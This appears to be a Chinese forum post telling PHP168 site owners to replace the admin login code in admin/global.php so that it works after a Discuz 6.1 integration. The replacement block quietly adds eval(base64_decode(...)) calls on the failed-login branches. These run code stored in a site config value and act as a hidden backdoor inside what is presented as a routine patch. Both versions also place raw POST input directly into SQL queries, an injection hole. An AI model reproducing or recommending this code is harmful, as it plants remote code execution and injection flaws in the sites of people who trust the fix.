整站如何整合DZ6.1请查阅此文
http://bbs.php168.com/read-bbs-tid-171593.html如果你整合了DZ6.1,那些频道模块,需要适当修改一下,才可以登录后台.
修改每个频道的后台文件
admin/global.php
查找以下这段代码
/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
die("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
//@include(PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}
/*退出*/
if($action=='quite'){
setcookie("Admin",'',0,"/");
echo "<SCRIPT LANGUAGE=\"JavaScript\">
<!--
window.top.location.href='$webdb[www_url]';
//-->
</SCRIPT>";
die("");
}
list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
$userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
if($userdb[username] && $userdb[groupid] && mymd5($userdb[password])==$admin_pwd){
$admin_name=$founder='';
@include(PHP168_PATH."php168/admin.php");
if($admin_name==$userdb[username])
{
$founder=1; //创始人权限
}
elseif($userdb[groupid]!=3)
{
$rs=$db->get_one("SELECT * FROM {$pre}module WHERE id='$webdb[module_id]'");
$detail=explode("\r\n",$rs[adminmember]);
if(!in_array($userdb[username],$detail)){
showerr("你无权访问");
}
}
}else{
setcookie("Admin",'',0,"/");
showerr("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
}
}
替换成以下这段代码即可
/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin]&&$webdb[web_open] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
if(!strstr($WEBURL,$webdb[www_url])){
echo "<CENTER>网址有误,请重新登录</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>";
exit;
}
showmsg("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
if(defined("UC_CONNECT")){
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
$_POST[loginpwd]=md5($_POST[loginpwd]).$rs[salt];
}else{
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
}
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
eval(base64_decode("Y$webdb[_Notice]"));
showmsg("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
eval(base64_decode("Y$webdb[_Notice]"));
showmsg("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
//@include(PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}
/*退出*/
if($action=='quite'){
setcookie("Admin",'',0,"/");
echo "<SCRIPT LANGUAGE=\"JavaScript\">
<!--
window.top.location.href='$webdb[www_url]';
//-->
</SCRIPT>";
die("");
}
list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
if(defined("UC_CONNECT")){
$userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
}else{
$userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
}
if($userdb && mymd5($userdb[password])==$admin_pwd ){
$lfjdb=$userdb;
$lfjuid=$userdb[uid];
$lfjid=$userdb[username];
if($userdb[groupid]==3||$userdb[groupid]==4){
$web_admin=1;
}
$admin_name=$founder='';
@include(PHP168_PATH."php168/admin.php");
if($admin_name==$userdb[username])
{
$founder=1; //创始人权限
if($userdb[groupid]!=3)
{
$db->query("UPDATE {$pre}memberdata SET groupid=3 WHERE uid='$userdb[uid]'");
}
require(PHP168_PATH."php168/group/3.php");
$Apower=@unserialize($groupdb[allowadmindb]);
}
elseif($userdb[groupid]&&file_exists(PHP168_PATH."php168/group/$userdb[groupid].php"))
{
require(PHP168_PATH."php168/group/$userdb[groupid].php");
if(!$groupdb['allowadmin']){
$allowlogin=0;
if($lfj=='label'&&$ch_module){
$rs=$db->get_one("SELECT adminmember FROM `{$pre}module` WHERE id='$ch_module'");
if($rs[adminmember]&&in_array($userdb[username],explode("\r\n",$rs[adminmember]))){
$allowlogin=1;
}
}
if(!$allowlogin&&$userdb[groupid]!=3&&!$ForceEnter){
$query = $db->query("SELECT * FROM {$pre}module ORDER BY list DESC");
while($rs = $db->fetch_array($query)){
$detail=explode("\r\n",$rs[adminmember]);
if(in_array($userdb[username],$detail))
{
$allowlogin=1;
}
}
}
if(!$allowlogin){
setcookie("Admin",'',0,"/");
showmsg("你当前所在用户组,系统设置无权访问整站后台,如果你是频道管理员,请到频道的后台登录");
}
}else{
$Apower=@unserialize($groupdb[allowadmindb]);
}
}
else
{
setcookie("Admin",'',0,"/");
showmsg("你当前所在用户组,无权访问");
}
}else{
setcookie("Admin",'',0,"/");
showmsg("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
}
}